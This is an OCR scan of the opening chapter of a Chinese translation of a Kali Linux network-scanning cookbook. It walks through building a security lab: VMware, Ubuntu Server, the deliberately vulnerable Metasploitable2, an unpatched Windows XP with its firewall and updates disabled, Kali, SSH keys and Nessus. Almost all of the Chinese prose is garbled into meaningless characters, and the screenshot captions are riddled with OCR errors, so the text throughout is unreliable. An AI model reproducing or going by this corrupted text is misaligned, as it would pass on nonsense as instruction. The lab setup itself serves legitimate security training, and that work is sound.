Quick answers to common problems

Kali Linux Network
Scanning Cookbook

Over 90 hands-on recipes explaining how to leverage custom
scripts and integrated tools in Kali Linux to effectively master
network scanning
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1.1 &£ 5l VMware Player (Windows) &2 & %4 33t

i i £ Windows LAk L ijVMware Player » 4% 7T VA 72 B 75 48 23 AKX T F 3 R 69
Windows PC L& 47 & MR AR o 4R T XL % % KAF VMware Player » 34 vA& R,
ARAT 48 2 4 58 K &9 VMware Player Plus °

&

A T £ Windows La”p&;,l:'" X VMware Player > & & & 2T &4 4 o VMware
Player % %% R A8 T & » 1517

¥l https:// my.vmware.com/web/vmware/free ° ZEZXANT@F » & TR 3
VMware Player #4% > R $#HTH o £ T—R F » &3F Windows 32 35& 64 fi 22
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Create a New Virtual Machine

+) Create a new virtual machine, which will then be
added to the top of your lbrary,

n Open a Virtual Machine

| Open an existing virtual machine, which will then be
' added to the top of your ibrary,

Help

Upgrade to VMware Workstation
Get advanced features such as snapshots,
developer tool integration, and mare.
9 Vit WMware Player's help contents.

= This product is not licensed and is authorized for
e ' non-commencial use only. For commerdal use,
purchase a beense. Buy now,

i FVMware Player/s » T A 354 37 E ALK 4R o B ommisib— AT
HTFAL R E IR E GG

Welcome to the New Virtual Machime Wizard

A virtual machine is ke a physical computer; it nesds an operating
system. How will you install the guest operating system?

Instal from:
&Lj DV Drive (D) v

@ Installer disc image fie (so):

B Select the installer disc image to continue.

() 1 will nstal the operating system later.
The virtual machine will be created with a blank hard disk.

REZLEZEOGGFTFPPATRE - ANMMES TR XL EENR o T ALF EIEIN I
KEIRHEHATEER » AT ER 1ISO BRI o A P06 K % g KA
F1SO » # B AR BB T AR EN 37 o Mk > KRAVBZERAH
WILA ISOX M & & Next * e TwEmeg& BT« :



Hame the Virtual Machine
What name would you ke to use for thes virtual machine?

Virtual machine name:
Dsm'hﬂ

Locabon:
\iwmware -host\Shared Folders\Documents \virtual Machines'\Den | Browse...

< Badk [}Iﬂ}t Cancel

Rig FEAR DAL B AR o REPNELHRAZL—MEZHE > AR AR5 E T
B AL VM #ATARRA R 5~ o b TR EIIWA T2 A 5 LR RAFRARAT
BRI RA R AR DMNE R —FrTREAR o ATHRRBAEL

T Specify Disk Capacity % 9 :

Specify Disk Capacity
How large do you want thes disk to be?

The virtual machine’s hard disk is stored as one or more files on the host
computer's physical digk. These file(s) start small and become larger as you
add applications, fles, and data to your virtual machine.

Masdmurn disk sire (GB): 10,0 £
Recommended size for Debian 7: 20 GB

Store virtual disk as a sngle file

@ Split virtual disk into multiple files

Splitting the dick makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks.

(_nep. [ <Back |[ Mest> |[ concel

T ANMERFERZEEORAR T o BEPIHEFEARERHAHEERE » 2 RL28
AT GME o I RETULXLEMME LS LEENIH P EREYI LS A
P o TRIETHEZES REANATRAERRE :
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Ready to Create Virtual Machine
Click Finish to greate the virtusl machine and start instaling Debian 7.

The virtual mactune will be ceated with the following settings:

Mame: Demai™ =
Location: Viwmware-host\Shared Folders\Documents Virtual Ma. ..
Viermon: Workstabon 10.0

Operating System: Debian 7

Hard Disic: 10 GB, Spiit

Memary: s51zmM8

MNetwork Adapter: NAT

Oither Devices: COJOND, USE Controller, Printer, Sound Card »

[ Customize Hardware... |

[ Power on this virtual machine after ceation

[ <Bak |[ Fmsh || concel |

WE—TRETERENHEE o T A% Finish 4Kk TARE A EHE 5 &,
T A% Customize Hardware.. 4 XBHEZHOERE - A—FAHBRREH
AT BB A

Device Summary
Specify the amount of memory allocated to this virtual
i machine. The memory size must be a multiple of 4 MB.
[ Processors 1
& JNew CO/OVD (... Using file \lvmware-host\Shared F... Memory for this virtual machine: 5125 ™8
Metwork Adapter NAT
@ usB Controler  Present 4 G8
@) Sound Card Auto detect e
- Proter Present o
WDusplay Auto detect sce M Maximum recommended memory
4GB (Memory swapping may
208 ocour beyond this size.)
108 668 MB
i
512 MB
128 MB
64 MB < [ Guest 0S recommended minimum
312 MB 64 MB
16 MB
EME
4 ME

e
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Payer = | v M
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Home
Demo'™

DemoVM

State: Powered Off
05: Debian 7
Version: Workstation 10.0 virtual machine
RAM: 512 MB

P> Play virtual machine

ZEEOFIRIG » W2 %K BEBAE T 2 T H AR B o CIHAETLUIRRE
W T AR B 5 o I VMware Player 9 % A~ 5245 Fo B A 52 45 o 84 o
— VM > T AR B 247 % AN E AL o

IAE)R 3
VMware @1 T —MNEBILIRRE » TUEF R A EDNZH AL FTRKRIZEENSW

BT o EIMLKRMH (4o VMware) MK BRIAREMNERLETRREMEmE
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1.2 4 /| VMware Player (Mac OS X) #2 & %4 IR3%

4’{155? vAil it £ Mac L2 VMware Fusion » &£ Mac OS X L& 47 & b2 43
3% o VMware Fusion & & —ANob/A M £ 65T 1E » (2B HMARIEF S o

%

2/ Mac L% %X VMware Player > & 2% E T RKMF o TR LR XA R
FHM » F 1 FIATURL @ https @ //www.vmware.com/products/ fusion /
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THREMEE  HREGREKRATRAEZFRIE - 47 .dng REMF > RE#
””/ﬁ-%@,l:é’]ﬁ%kﬁ”“ 2R TJG » T A Dock 3 Dock F #9
Applications B % & 3 VMware Fusion ° w# /& » MRI&EFEEMAE o SLE T &
BAEAT IR B > AR TR AN QI EENSMEAEN o A THRBEILTTEM
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80e Virtual Machine Library
L) B o) &)

VIRTUAL MM:HINES

ATHE s HAERAELELAN Add %42 RB EF New ° XL R FHEIMILE
EEB o REEERENEERLGIE ST ﬁam%uiﬁmm’%uTﬁ%ﬁ@

BT -

.60 Create a Virtual Machine

Select the Installation Method

Install from disc or image Import an existing PC

More UFII'GHS.“@




B —FE Rk FEE H % o VMware Fusion $#24t 7 sk & K1z (1ISO UH)
ZEHEZR > WRET ZRHEARGNA RAESLIHEMM o T RKF 86987
%mea4%£¢%%~kﬁmo

%IFH— /%A Install from disc or image 14)E » KB R T » ®F2AE
R ERERE o wRAAAFEAL » KA BAEAGBEA T ERELE G
1% » %5 % & Use another disc or disc image 48 o X R GAITH

Finder ° ©EiEMRAEGE R K B R4S F 694545 o ARTT VURBUAT & A& L8R 1Z U469

IS8 s BAEATE@GMEFTH o KRG frkfl]lﬁi&\‘]i'] Finish & 2 :

BAaME New Wirtual Machine

Finish

Virtual Machine Summary

Guest Operating System Debian 7
Mew Hard Disk Capacity 20 GB
Memaory 512 MB
Networking Share with my Mac (NAT)
Device Summary CD/DVD, USB Controller, Printer, Sound Card

To change the default virtual machine settings, click Customize Settings.
To run the wirtual machine now, click Finish

Customize Settings

?) | Cancel Goback | [ Fnish |

HFRAE R OREIGE LS > 23 Continue %42 > RE#ANFER K - o @ik
R ER B o WmRRAZLFARZILEE > m$

# Customize Settings %42 o &N » #£ & Finish =G E WA o ZIRE
HEHN o R ERKAE 5?#&1&9’%%6’39‘;# R TR B 89 4 AL % PALEY S
o AR ETFEREPDAEF » o AT RHFARE TR



806 Virtual Machine Library

B3R N - REN LARNEYINT- ¥ L&
Add View Path Swart Up Settings  Snapshots Defete
VIRTUAL MACHINES

& GPS Windows 7 k54 % Metaspiﬂitable [

& Kall Wburtu

o |

% Windows XP Professional

Notes

LRI E L R DA REFECN @SR/ R MG EDAEF o 1B HFE
T4 8 B AL > AT AL £ F MR Start Up BB FHE o sboh o TR
1% ] settings #&4af5 B B » KALJA Snapshots &4aife &-Fb bt A 4R 74 & PAAL ©
R VA NE F IR 5 38R MR Bl B 24T % AN R B o

IAEJR 32

# i £ Mac OS X 31k & 4 F4& 1 VMware Fusion » 15 T vA 8] 22 & $ At 2 o 3R35F,
AE Apple AL LI ZEANM LI o LI (42 VMware) & ANA 0 J& 25
RAEMERATIRE TR E 0B HFEE o

1.3 %= % Ubuntu Server

Ubuntu Server & —4~% T1& A & Linux £47hR » T A T35 M LR 5= RiR %K
B VMR RAIRBE T HATMR o WwRRBE > Tl &S L Linux £A70R:
& > Ubuntu £ 1% 48 RIFIIE » BAH K FHAT 5% FHF F B o

%
£ VMware %% Ubuntu Server 277 » R E 2T H#E41E (ISO ) o &

AU T AN Ubuntu 89 B 56 T 2 0 M ik 4e
T ¢ http://www.ubuntu.com/server °

BAE T B

A2 e B R AR ST R BB F B 0 & A B EKIAE Ubuntu 2% > e T @R A
i o XEESANLEFYB®N o TUEREESHEL - X ThHEARE » #
IR ZE ¥ Install Ubuntu Server % » RG34 Enter 4% o



ubuntu®

Install Ubuntu Server

ZRIBRFEE > AR WFEER— AP P » R ELARNEE o AMAANRAER
FI B ESFEAAR o IEARIRFAE » REEZTUMROEEH HEE > o h
THEBEPT :

1 111 Configure the keyboard |

You can try to have your keuboard layout detected by pressing a series of keus. If uou do
not want to do this, you will be able to select your keyboard lavout from & List.

Detect keyboard layout?

<Go Back:> <YESS < his )

HENZRATRATELAREAR o —ANBAALD  LFAGLARTIRIE—RT]

4t > X 44k Ubuntu MR E £ R 942 & B o RTAALEEH ves 2 F4E 4
Bl oo R RTURBREE No FHRBFRENRE - WIREFEREFRGE R/H
RAeiEZ o BIAAMRBE R TRGRE - TAREFAHE » AAERREARAL
B EMG o e RIRZE AL AR HARIMNEZE—E) - BTk 2422
RIRANFR PR P 262l o GRAPOELTR s APLRbENNEFETF
HRUKR o HFLTAESERAPLP » LENTBREE—NFH - FATEHY

BHAE

{ 1117 Set up users and passwords |

Select a username for the new account. Your flrst name is & reasonable cholce. The
username should start with a lower-case letter, which can be followed by any combination
of numbers and more lower-case letters.

Username for your account:

<Go Back» <Cont inues

LERREFHRPGR P LG » RS RREFRR o BRART ACAERA » H AR
THEEZGTEIAGLERGEKARE - FATEHREA :

I 111 S8t up user ind passwords |

A good password will contaln a mixtuee of letters, numbers and penctuat ion and should be
changed at regular intervals.

Choose a patsword for the new wser:
e
G0 Backy




REEDE » ARABRGARAGEMEENAPHEA F o RRXIET W
e h  (RETRAETAREE » BAAGTAHAEIT R S O BEINE - 4
TRADRMAE AL LR BN » 4o ol T R R B

| 111 configure the clock |

Based on your present physical location, your time zone is Americas/New_York.
If this is not correct, you may select from a full list of time zones Instead.
Is this time zone correct?

<Go Backs < Ess] <oy

PPAd 4569 A AL T A3RIPHuaE £ > Cdbu s 2 XA T 3 by 692 LIP3 AL » 3148 A sz
Bk F MR R o 40 Ubuntu 2426955 M T E #4889 » 4% Yes W REZH » 1%
%F No R FHHEBENR o BBERNRE» 2ZRBEXHBESREE » WA TR
RABATE

| [19] Partition disks |

The installer can guide uyou through partitioning a disk (using different standard
schemes) or, if you prefer, you can do It manually., With guided partitloning you will
still have a chance later to review and customise the results.

If you choose guided partlitioning for am entire disk, you wlll next be asked which disk
should be used.

Partitioning method:
Guided - use entire disk
aul L Ged LrsE Bt ire gLSh ind S8t up LvM
Guided - use entire disk and set up encrypted LV
Hanual

o Back:

o RBAAEHBFELFGAED > BIRREGRKIN o RRERAREINT T PATIESRT
FhrREE > AAFBNEDAAAFTHEAENERNIR o ZEFRFTEE» 2%
KRR FHE o RIFR A LA LR B R A G IR R 2 /2 b A Bl AT i
Iﬁ :

I 1111 Partition disks |

Note that all data on the disk you select will be erased, but not before you have
confirmed that you really want to make the changes.

Select disk to partition:

<Go Back:

BBEHEE  AERERERE o BIE—WATER > REHIANRE o ARER

A s 2B RFBREHTTPRIE « BT AFGAL » T FZERGRE > RT A
KWFEEGE o &G 2FMRATEERE AR LR RAEMERAME > 2o AT B B
B BT



I i R i ik an I P
1 (1] Software selection |

At the moment, only the core of the sustem is instelled. To tune the system to your
needs, you can choose to install one or more of the followlng predefined collections of
sof tware.

Choose software to Install:

<Cont Lnue:

B FAEATA TR > FE A ERAE o ATk Fd  REZ2EPT LR
% R T BN EMFFING Fah Lkl o —FRBFTHFEORMEE > F
% Enter 42 R ziTA2 o

IAEJR 3

Ubuntu Server Z & GUI » Z4F3egq 4TI o A T AZEAE A € » B UR{E A
SSH e~ % T & E 4 FISSH » & 4 ] A ¥ /& d 69“ B & A= 4% I SSH AL 4% o

1.4 %X Metasploitable2

Metasploitable2 & — /¥ & 7 £ R iF 9 LinUX R ATHR » L& — A 53y 2 2| T
B o CAKRT RKREGRRAMERS > & 845 JLANRF Web 2 A5 o

&

TR 6 JE P2 A 5 T P 2K Metasploitable2 Z. 37 » 1R & & & ZMWeb T HE -
A% TR T 94184 torrent » 3% 3K Metasploitable #— A48 2t f# £ 65 7% % » £
J\ SourceForge # URL T #&

~
-

€ ¢ http://sourceforge.net/projects/metasploitable/files/Metasploite

(e}

BAE T’

Metasploitable2 #) % ¥ 7T it R IR £ X 2 FHATH R LY LR — - LERAA
% )N SourceForge T #H i » € &2 £ &4F T VMware JE AL o T3 ZIP LH & »
4£ Windows 2t Mac OS X ¥+ » #& 7T Ll it £ Explorer 3 Finder ¥ & » 9 %] 424
RPN B - FA T EGEA :



I-"

ZIp
metasploitable- Metasploitable2 -

linux-2.0.0.zip Linux

fREHZ G » ZIP I 2BRE—B K> EFPHELANMAUF o XL F als
VMware VMX U#F o £ VMware F1% ] Metasploitable * A & % & File Ti%
X% RE%EE open © RE o R HZIPRIGE ARG ZNGE F > i

7+ Metasploitable.vmx ° 4= F @85 38 B AT

Metasploitable vmdk

K _--d- —
Metasploitable.vmx “
Metasploitable vmxf
VMX
Mame Metasploitable.vmx
Kind VMware virtual ma..

Size 3 KB

ated 5721712, 12:46 AM
Modified 5/21/12, 12:46 AM

ened 5721712, 12:46 AM

—BHFTVMX I CRZaSERGEMIETY o INEFRFECHE
# Run kB #HVM T UEB VAT R @ :

VM & » 2855 ﬁb/ﬁ-%%m /1'\7‘%‘*%5 o BMUBLFZR LA P L Fo R A
& msfadmin ° bAUE 4T A8 L SSH5 14 o E$P)‘@éﬁ“f§69§ﬁ"1’i}ﬂSSH”“}’/\
W R o

IAE)R 3

Metasploitable 4 ® 2 MK F G B G MmEL o ZL—NEFAHBETE » (240
QA B o Metasploitable & 467 & 1% % & TAEAT R T 15 éﬁﬂééfr“P R A 2o
AL 27T 1 9] 9 P33k o F BLOR AR B 9% 0 55 8 kAR R 4 7T vA3A i M) 28 He ik 4% 3
(NAT) BaipE o



1.5 %% Windows Server

M RXIRFE P2 E Windows BFALAN TERIRARBREX TR AACEES
AP AL R 69k TR0 A LRINR o FTRBEEY P T4 A Windows XP

SP2 (Service Pack 2) - 1T Windows XP &4z & a4 4F & 4 » B b /2 MX3IR3F
F =T AR % Bl Fe iR o

&

BRI PTG IES AR P S @y —RE 5] » RFE%RIX Windows &4 &
ZE8| K o e BT A » & 1Z4E ] Windows XP SP2 » B A &£ % B K F5 B¢ F 69
B AL RARREAROREZ LR AT RALAK LS F AT
BRI s AR RARKEEZLRA - O TARBEIE  BFZNFE =70
AAMERATHEMEET NER o IANT RO RFLIREREDR -

A B

JA Windows XP B X B )5 » B — M EEXLRER > CLFER—4A D F

Ao RPEFHRARERIR o —F > 2B KRB ABRELAAB RGOSR -
RIS EPMMATT AT LE R TR ARAERLFED — N - RE » R
VAR P Bk R A mE A N, o (E— L TRAR R T AR AR PN 0 — BRI T XAy F
R AREIRB R R BREAGBREN — AP P - RE > REWI SRIA TR :

¢ & Windows

Wirdows %P Professional Setup |

Perzonalize Your Softwane
Selup usaz Ihe nlomation you provide sbout pouzel 1o perionakze poun Windows
P sollware

% Type pour bull names and the name of your company of Dganizaton

Name: [.Iu:hrl Hulchers

Drganization: [Packt Publishing

Bk REMERRBE DL AL o BEMRY RS TR MK P » (22027
AR A AKIEREE > HIBREARGEAERA TR o FT k » 2B RKRPET
AL TER KL > WA THRBENF



Windows XP Professional Setup

Computer Hame and Adminiztrator Password
'ou must provide & name and an Admiresraton pazsword for pour compuber.

Smhuuw:mhmmm IF ponr comprites i on &
i’ network admirsbatorn can bell you what name to use.

Computes rums: |1}arrnb<F

Selup creales & user sccount called Admirestiatorn You use thiz account when
you need full access ba pour compuber.

Type an Admerustrator password.
Admirehslor password.  [sesessss

Confiim password l" PR

< Back Mest »

ﬁv%é’ﬁ-ﬁ%ﬂ%%éfiiﬁ&ﬁaédiﬂ’ EBARAE R E— T AL AR o IR R %A
BEOLICAT R EAL » RARE 2R FHMALUMNRAREKRARE - REKEZRKEKE
A BRI e R o XETHRLEHAER » (2R ENZEHME » B A4 REEH
MFebf B TSR AR o AATEOEE :

Windows XP Professional Setup

‘Wintkgroup o Computer Domain
A workgioup iz a collechion of compulens thal have the same workroup name. &
doman is & colacton of computess defined by 4 nebword: adminishaton

Do ous vt thes compuber 1o be & mamber of a domain?
['ons mane e o obitan this irdoimastion fom pour restwark. administeaton. )

o No. this computed is not on & network. of is on & network without & dornain
Make thiz compuber & member of the following woskgroug:

fWORKGROUA

£ ‘e, make this compuber & member of the lolowsing domar

¢ Back I HM:EI

BErtRAfAMNE » AA2ZREB AL TR TAFARIK - ABFTOKEHK
24 j']‘m';g;ﬂ{jt_ REMAT o 122> F—2zf SMB FH1E%5 > FLK A% A
o XeBE@it® o UATHARBRE LT Help Protect your PC & O :




o Ay

Help protect your PC

:, # Help protect my PC by turning on Automatic Updates now
"\“_.a" ey manded

X s

turmed on Automatic Updates, your compuler (s mose viinerable o vieuses and olher sacunty

REIBRTRG * ZAKRTRIEA B s 2HRP Bogdiz o KIARBFELBERAAFH
FH o 2R s BT R A LG A RATT A 8GR XA » KK %
# Not right now &’ °

IAEJR 32

Windows XP SP2 st{EAT 41 % # 69 22 AIR3F » M2 —MRGGIAL - dTet—"
BREBREA% ) CRET RKEGTA TR FF HGGRR o 122 5 £ %R
AABBFEARKFRZ » T AL ANEHFHf 822 691E L% (@Windows 7)
kit —F RGO LIET TEY -

1.6 3% 72 Windows 93X & @

AT #—FRZHWindows#HRAF AL LT R )KL& @ > e 5 LA EH KA ARE H
SRR A DRSS -
M %

FE 15 X Windows ¥ 89 B B R 38 oS0 @ 2 AT 0 AR F B L F — AR Bl b FARAE
ARG o do R B RAPATERAE » H 5 W AT F 892 EWindows Server’ k4% o

AR %

BREARRSE  HHARITATHRZERS » BFZE—LRANANRLYGH R
o v REFZAWINdows AR LB A HEMEEEBIL (SNMP) © Ak
HAITHFET AN EE > RE%EF control Panel (d=#Hl@iR) o R

# Add or Remove Programs (RAiwSMtLs) Biz » KB £ & F R LM

49 Add/Remove Windows Components (#se/MkWindowsZi#) %3 » R A
BT R@

18



Windows Companents Wizard

‘Windows Components
Yious can add of remove components of Windows XF,

To add o remove & component, click the checkbos. A shaded box means that only
pait of the component will be mstalisd  To pee what's ncluded in & component, chck

Dretads
Comporents:
- 20ME B3
[ sl Message Queuing DOoMB
i W MSH Explorer 207 MB
v ::]Nutm’:ng Serices 0ImMe
[ By (i Mstvrnk Fibs and Prit Sanaces nnwmp ™
Descrpbion:  Inchudes tools for morstonng and mproving netveork, perfosmance.
Tolal dish space requied S48 ME
Space avadsble on disk 3BI92 4 MB

NI E > RTAFRNTRERE AL LEARERG AT L - TR
3| Management and Monitoring Tools (& XEfeliizT A) » H&HE kAT
AdEL59%T o m A TRESREFT

Kanapement and Monitoring Tools

To add or remove a component, chok the chack bow A shaded box means that only part
ol the component will be mstalled. To see what's ncluded in & component, chek Detads.

Subcomponants of Management and Manitorng Tooks:
Vi g Simple Network Management Protocal 0aMBe

Descripbiorc  Allows chert applcabons to access static and dynamic SNMP information
through Windows Management Instrumentation Wi |

Tolal disk. space requeed: SEEME
Space avalable on disk: 33924 MB

| ok || cace |

ARG o EFARE T SNMP F2 WMI SNMP Provider 8 5 #4E o 34 AT A %
EHATEHAESNMPEH - R HHATE » S B EIRRSE - REREHET
% Windows XP B1% %% » VMware 7T 8848 & PAL AR5 Mtk o 4o R Z X Fp

s RN B — A3 h i R RIEARE s A T REEB BT ¢

Insert Disk

{. Please insert the Compact Disc labsled Windows XP

= Professional Service Pack 2 CD' into your CO-AOM

drive [D:] and then click 0K

‘You can also chck OK if you want fles to be copled
from an altarnate location, such &t & Roppy disk or &
network server,




A mIE FLEMARE o AR B FEMAIR 0 ARG R EAMTAF AL T 9ISO
AR kA8 Ae B

Enable CD/DVD Drive [T

This CD/DVD drive is configured to use the following:
& Windows XP Pro SP2.is0 :

» Advanced options

—E M E & SNMPIR § 82 HE 4 8 3 TR -
windows Components Wizard (Windows##Fw&§) ki %A B il FafR o
M TR EZ 9 B MBI EARL P LS —RFUAIRSE o A3k HH/KRAT
7+ control Panel (#Z#|@m#x) > AJENFE Security Center (KAFV) H
A& R#HEIN @K > £5H windows Firewall (Windowskr K3k ) 69453% » JF

AR EE AT REZB BT -

General | Exceptions | Advanced

‘Windows Frewal helps protect your computer by preventing unauthonized users
from gaining access bo pour computer through the Intemel or a nelwork

@ ) On [recommended)

Thie sedting blocks all outside sources from conrecting to thit
compubes, with the exception of those selected on the Exceptions tab

Don't allow excephons

Select thes when you connect to pubbc networks n less secure
locatons. such a: arports. Yiou wall not be notibied when Windows
Frewal blocks programs. Selections on the Exceplions tab will be
ignored.

@ (=) DK [not recommended)

Avond uging this setting. Tumang off Windows Firewall may make ths
compuber mone vulnersbie to viruses and intiadss,

% MWindows s K& ft)E » £ oK BFE—% X E o BREHBRA > RB
% & Automatic Updates (B & E#) 4% FHARECELLA -

I AE)R 3

LRFEAGEEBRADRMEFERN AR S RRIE 0 T BRI o A3 miE
AGLBENRAKE » BN T THTZIXEESof] AgagE -

AT B ALEE R 2 E Windows P & R A 34E - kI hek k@ o 2% > E

AP BLA CHe iR 6 B = 7 AR AR A R o TTAE VAT URL PR E| 5 23 EH 6y

LG E N

e http://www.exploit-db.com/
e http://www.oldversion.com/


http://www.exploit-db.com/
http://www.oldversion.com/

1.7 % Kali Linux

Kali Linux £ — MRS ZMNRXTELE » LT AT Sl K- LI035 > &
J%th?l’\%’r CF' ‘iﬂ"ir_. °

A&
FEAR Y & Phae 4 MR IR P 22 £ Kali Linux Z 87 » 1R F Z M 22169 kR IEE ISO

A (BRAZSUHE) o Kali Linux 1ISO T %A
M http://www.kali.org/downloads/ T3k °

e B

M Kali Linux B Xt B 5h 6 » R BB B %E o ARE» Q) TAEAHI FHw
AN 0 Install ° AREIE Enter #EABRE IR

LA LRI

Boot  men

Live (GHGE-pae)
Live (68§ e fallzaled
Live (forenzic model

| Install o .
Graphical install
Aduvanced opt ions

—B ko AR S HAT AT FATRERTIR o B A4 2E RIREHE
R4 E (BR) 1B 5 o RE o RERF—AN%A » TAFHRF4E LR E RAE
A GeMiEE o T—FPHFRBEAARAGRBEING o R AL T LA 7
AR IHN G EE—0 s e L T REBRBPF :

{ {11 Canfigure the netuork |
Please enter the hostname for this sustem.
The hostname (s & single word that ldentifies your sustem to the network. If you dom't

know what your hostname should be, consult your network administrator, If you are Se1llng
up wour own home network, you cen meke something up hers. '

Hostrame:
o e e e e e ]
<G Back» <Cont inues

BTR MHREZZEroot RPGER o BURE—MISERGEH » FEES
T o AAT@gHEA :



BTR ARAZRGRBATAENRR o A% M IPHIT L BAF A 1R 6942 B 0 2tk
Wl o 4o RAXREM  hF A b E A R

ATREBESR AERRKNF ZFPR T ELRARNTRER

#URAE R 4% kA4 4% Kali Linux P 89 30 4R B s 37 -

BTk A% 22 RMBBEEHTTP RE M o K3 F A7k 94547 44 5 4 R & 29
FHTTP K » AT LG = .

22



wJG 0 % Yes kXK GRUB 7l S m#if2)7 » RE# Enter A REZETA -
L A G He AT o ARFT LAAE R 22 5K 0 R 4R 4 69 root tk P e BAL B K -

IAEJR 32

Kali Linux & —“~ Debian Linux Z47h > £ P SR EMLRENFE =5 HELER o
B AR PTA 3X e T AR ST A SR SR AR 2 £ > Kali Linux #3245 69 2 fe 23048 2L R A
AT HE M XA QR I TR o

1.8 & & A={% 1 SSH

Bt 432 % NPT RS T/F 2ok > el S AR & o A T kY I—4 VMware
B3k B] 7 —A VMware 53695 B > 38 o P A LR 6B F M > A
BMAL LB EAE ASSHIEF A H B o XA T8 T 4o fT £ A Linux & #At
EA4E A SSH -

A%
AT EEPMAEAER SSH » L/ et EhA% EeE SSH B P54 o SSH & P 5%
ERFI K% Linux #» OS X A4 F » FHFEATURUIALFE D5 H] o wRF4EH

Windows 4t » M % & T H 2K Windows 438 /REFZEF 3% o —MNaRFEH1E
R & ZPUTTY © PUTTY® ¥AJN http://www.putty.org/ T o

BAE T

BTREEEELEAM RO P AEMNLSE BT SSH A FEEEIME PP H T A
BT o BT Windows XP & 3L » IR3E P 69 BT A H A ALAR & Linux & AT
BR 0 SF AL %R A X3 SSH o B A sbsh 4869 B A JL-F A Linux L ATHR P 4f &

23



MBI s he TR ¢

/etc/init.d/ssh start 4T A TR HMRSE o WwRBEFEA root BFE »
M EEZY sudo BRSNS o dwBIHIF|4EZ > N T4 %u%i*””S&ﬂf
FPARF o WwRAZFFHFN > W4T apt-get install ssh ¢4 T TL%E SSH
PP o KRG ifconfig THATRILALNIPHAE » XA T& ZSSHE# o
BMIEBE o AAT AL SSH I EM A L5 M VMware & P &% o A3k » dE &ML
JE LI AT T EALEG SSH & P 3% o

o R ARAE ] Mac OSX 2, Linux 74 EAMAL » WA BENLSH AR R P55 o K
# s e R Wmdows l#}bikﬁ)’éw#}b s W] F FAE ] LIS 0 wPUuTTY o
VAT =8 P » K738  Kali E# ey |P Hohk7Z 2 SSH &% -

DEMOSYS:~ jhutchens$ ssh root@172.16.36.244

The authenticity of host '172.16.36.244 (172.16.36.244)' can't b
e established.

RSA key fingerprint is c7:13:ed:c4:71:4f:89:53:5b:ee:cf:1f:40:06
:d9:11.

Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.36.244' (RSA) to the list of
known hosts.

root@172.16.36.244"'s password:

Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 1686

The programs included with the Kali GNU/Linux system are free so
ftware; the exact distribution terms for each program are descri
bed in the individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law. root@kali:~#

2 7 5] A5

R VAM http://www.packtpub.com T ZARMMK P & W X 69 F7 F Packt & +
by ] AR ST o 4o RARE A7 ) K3k 4 > T 45

]l http ://www.packtpub > com / support FiEM » XUE THAESS B K
% BAR o



SSHE P 3% 69i& 4 A %% ssh [user] @ [IP address] ° AE#REEEGTHIF -
SSH #14 A root kP45 Kali A% (w3469 IP 3ikArR) o T EMRE
S IMI AT 0 R a R TRAINEHRE o A HFIMA yes © REH
RN root TP R o MG > R AT mfshelliz Ml A% o A8
Fl 893 A2 T A ZWindows A& FIPUTTY T Ak o & T VA i AAL 4% 69 4 & 3L 4430 5
B GRET R o THRE » ATHAPUTTYH A AL FE T A JE PALEgIPHIL
H Pk SSH £ ikfe4aik b » WX THAFBRBA & :

[ — -
3 PuTTY Configuration
Categary
Session Basic options for your PuTTY session
. Logging Spacify the destination you want to connect to
ina
ﬂ};;ﬂ and Host Name -:urﬂlF‘ address) %m
Bal 172.16.36.232 22
Features Connection type:
- Window Faw Teinet Riogin @ S5H Seral
;.zrca@-:c Load, save or delete 3 stored session
\aviour
Teareslation Saved Sessions
Selection
Colours Default Settings 1
= Connection : |L_koad
Data Saye
Proogy :
Telnet = Delele I
Riegin
] SSH
Serial Close window on exit
Always Newver @ Only on clean ext
About Open || Cancel
L: — =
— 9 R ETEHEHERE » £F Open HHEEHLE o ZAASRTERIMNMARN P L
BAL o BATRL GIMARINEEG RALNEE o —LNEIRZTR » KITSHEHE
KT ALY FFIARR > e A T RERBE =

L.

WG AARELTAZ T LA authorized_keys U o T vA%E £ B RAR AT H
WIEIE o PATIRAF L LT



root@kali:~# 1ls .ssh

1s: cannot access .ssh: No such file or directory
root@kali:~# mkdir .ssh

root@kali:~# cd .ssh/ r

oot@kali:~/.ssh# nano authorized_keys

B IR .ssh BB A RCHLETRAEKF - Ak HUAB ZTLMAER 1s o
o REFGAE > HIEMA mkdir IR F o RB &M cd o4 LAt g £ &A
% B % o AKB M ANanoRVIMEIZ % 4 authorized_keys & UHF o 4w RARF
B MERNRZEIRARES > HHEHAAZTFHEAIARER (VIME

Nano) "#b4% o X » R ZAMESSHE P s#ie A 69040 » e THT T :

DEMOSYS:~ jhutchens$ ssh root@172.16.36.244
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 1686

The programs included with the Kali GNU/Linux system are free so
ftware; the exact distribution terms for each program are descri
bed in the individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sat May 10 22:38:31 2014 from 172.16.36.1
root@kali:~#

— BB RE > AR ZAEYS EIEFSSH » R L IR IR g F A o

IA4EJR 3

SSHAEZ PR R ZE L B BZ10E o k@@ A TREZEET TR
% MR L84 (SCP) RAMBH LA -

1.9 /£ Kali L% Nessus

Nessus&— M ieB K RFAIAFE » Tl AKali LinuxF & L o mAbiE1t8
T B ENessus/R § 6T 42 o

%

£ 2K Kali Linux 7 % % Nessus/kiFlda #4825 0] » R ZRI—MNRENRD o
SLig & R TR IF THIEH AT 0 F 89 > Nessusl Bk IFREBM A 4L - W RARITH £
KERF ARG % F T4 ANessus » RT AL T RIFREREAR © XA > wRAR
242 FINessusF 1A~ A4 » M &FRZRIE LIREH o AE—TFILT » ARART VA
/£ http:// www. tenable.com/products/nessus/nessus-plugins/obtain-an
RIS G AT o



e B

— SRR T ARG ER » R F R

/£ http://www.tenable.com/products/nessus/ select-your-operating-sysi
T #Nessus® % ¢ o AT B H A A L7 T Nessus ™ XAEAT 8 &40 -F & A A8 2 89
ZROHIE

Download Nessus
Please Select Your Operating System

»  Microsoft Windows

» MacOS X

B E

ACZENBRFAAORAENBFE LGRS o —BRBHFE > AEFRE
TenableR L EGIT I ML o RBHRGALB TRLEREE - £HRAEMF > ABA K
ZREGEGILE

Opening Nessus=-5.2.6-deblan6.i386.deb

You have chosen to open
| Nessus=5.2 . 6~debian6_i386.deb

which is a2 Debian package (28.4 MB)
from: http://downloads. nessus org

